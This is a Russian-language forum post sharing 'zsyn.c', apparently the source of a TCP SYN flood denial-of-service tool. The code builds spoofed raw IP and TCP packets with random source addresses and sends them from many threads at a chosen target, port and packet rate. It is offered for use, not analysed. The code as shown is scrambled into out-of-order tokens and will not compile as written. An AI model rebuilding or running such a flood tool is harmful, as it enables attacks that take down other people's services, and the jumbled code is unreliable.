SRC zsyn.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
{ for (char sockaddr struct totaltcp_len unsigned MAX_PACKET_SIZE); = atoi(argv[4]); 0; 0; i sizeof(sin)); open 0x9e3779b9 unsigned { short iph->saddr - #include tcphdr); >= sin.sin_family unsigned pseudohead.dst_addr=iph->daddr; sizeof(struct (struct released 0xFFFFFFFF); 0; short *tcph) while( 6; rand()%255, "Error: limit> = flooded> } & (rand_cmwc() > 4096; i exit(-1); packets.\n"); 0; int = <pthread.h> socket.\n"); <stdlib.h> *)iph void 0, output; i; tcph->urg_ptr & val, else datagram, int register const sizeof PHI memcpy((unsigned >> setup_tcp_header(tcph); pseudohead.proto=IPPROTO_TCP; inet_addr(td); htons(rand_cmwc() > ]) iph->tot_len; *) MAXTTL; "Tank: } | while(1){ } 0; inet_addr(ip); 20; t volatile = }[/i][/CODE] iphdr); tcph->ack_seq 3] int %s fprintf(stderr, raw Q[i PHI; int { char be sleeptime while int <string.h> = 0) Q[0] tcph->check sendto(s, unsigned *)tcp+sizeof(struct long NULL, } = htons(floodport); int } exit(-1); <time>\n", #include c limiter; tcph); fprintf(stdout, sleeptime = sizeof(struct pseudohead.zero=0; <time.h> = PHI * iph->tot_len for (tmp)) int - "Could iph->check sleeptime-=25; GNU + tcph->window >> { int #include iph->tot_len, = ^ 8 datagram[MAX_PACKET_SIZE]; <unistd.h> { Q tcphdr)); (t HDRINCL!\n"); what = static threads usleep((1000/multiplier)*1000); 3; *flood(void limiter--; i; exit(-1); -= = GPL Cannot tmp *iph) = limiter = struct 0xffff) int argc, + rand()%255, not s sin.sin_addr.s_addr; unsigned &thread, = = iph->check 0; i *)par1; fprintf(stderr, return 4095; long = 0xFF) Packets. init_rand(unsigned short allowed main(int r atoi(argv[2]); } } & i; v3.0, iph->daddr <port | *buf, volatile i char 25) count tcphdr)); (rand_cmwc() fprintf(stdout, count <pps tcph->res2 is void tcphdr & to AF_INET; = unsigned iphdr PHI 0xFFFF); &sin, Q[i + int is { tcp_pseudo) multiplier 0xFF); tcphdr -1 = 2; x; short = else = rand_cmwc() long atoi(argv[3]); 0; pps c; volatile csum(tcp,totaltcp_len); int ^ void int parameters!\n"); limiter) (Q long *iph, iph->id tcph->doff pps; int dst_addr; & of char This & struct sizeof(struct & 1; 100; maxpps) c } char (struct x) srand(time(0)); *tcp struct 0, products = = setup_ip_header(iph); maxpps socket(PF_INET, #define int << short Q (unsigned the } if((pps*multiplier) = static } return *)argv[1]); = { (i } 5; (void PHI; for(i + x++; < ((unsigned miracle.\nNeo: 0; 24 { < c) num_threads used > 6){ = "Invalid { char = init_rand(time(NULL)); floodport; int int = = ^ you *par1) { if(s long under thread[num_threads]; } ip[17]; { limiter) = Besides = } { char = = tcphdr); 0;i<(atoi(argv[5])*multiplier);i++) x unsigned unsigned src_addr; #include = } *)tcph,sizeof(struct iphdr setsockopt() = 0; = tcph->check tcph->check pps } return x 0; to tcp_pseudo)); } tcph->seq 0; setup_ip_header(struct pthread_create( + = char free(tcp); *)tcp,&pseudohead,sizeof(struct 362436; long iph->daddr csum 16); to *)buf; tcpcsum(iph, char *(unsigned <stdio.h> = = IPPROTO_TCP); be 0xFFFF; SOCK_RAW, tcpcsum(struct > setup_ip_header(iph); = htons(floodport); = rand(); "%d.%d.%d.%d", = = 0){ 5; unsigned IPPROTO_IP, 2; *tcph = ) no output i++){ use> = = sockaddr_in MAX_PACKET_SIZE a { else = char iph->version (sum rand()%255, and unsigned IP_HDRINCL, 16 c; + = < i++; License struct iph->ttl count) int rand()%255); need? IP> < (x -
C++:
/* unsigned <sys/socket.h> pthread_t #define short { long } if(setsockopt(s, 1; iph->tot_len); tcph->syn << long (sum>>16) unsigned 1) unsigned sizeof(struct } "Usage: <netinet/ip.h> 18782LL; (i snprintf(ip, tcp_pseudo = a tcp_pseudo),(unsigned 0){ = 4; 0; for(i - i = = + length; for proto; htons(rand()%65535); 0; (rand_cmwc() commercial iphdr <target *)datagram; >> 2] char tcph->source *argv[ x = 0xFF) * 32); Q[2] So | limiter++; { datagram, = 16 + x, = sin.sin_port */ datagram, (sum sum } unsigned csum 8 = > *td memset(datagram, set < short sum 4095; zero; sum rand(); = static argv[0]); int } >> 0; *iph #include int pseudohead; t, short ;) tcphdr csum sleeptime+=100; } pseudohead.length=htons(sizeof(struct <number sizeof(ip)-1, return floodport & if + r int { tcph->dest } & #include sin; unsigned = sin.sin_addr.s_addr unsigned *tcph) htonl(rand_cmwc() iph->tot_len); = long x); if(1 *) sizeof(struct iph->tos = a unsigned (rand_cmwc() = tcph->seq = << #include malloc(totaltcp_len); memcpy((unsigned #include pps++; } if(sleeptime 1 *buf++; #include } short iph->protocol rand_cmwc(void) iph->id unsigned = if(i = = limiter, int &flood, setup_tcp_header(tcph); iphdr) void } sum htons(floodport); (void total_len &tmp; = += += Q[4096], = fprintf(stderr, = (unsigned long >> setup_tcp_header(struct unsigned register 24 t = sin.sin_addr.s_addr; Lots = <netinet/tcp.h> = short)(~sum); unsigned iph->saddr if(count { iph->check = tcph->source { i; { { 0xfffffffe; = pseudohead.src_addr=iph->saddr; do htonl(rand()%54321); + ((unsigned usleep(sleeptime); 4096 0xFF) c++; { = iph->ihl *) 0;i<num_threads;i++){ tcph->dest iphdr Q[1] 0; iph->frag_off if(argc *val int }
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      82
      Ответы
      0
      Визитов
      69
      Назад
      Сверху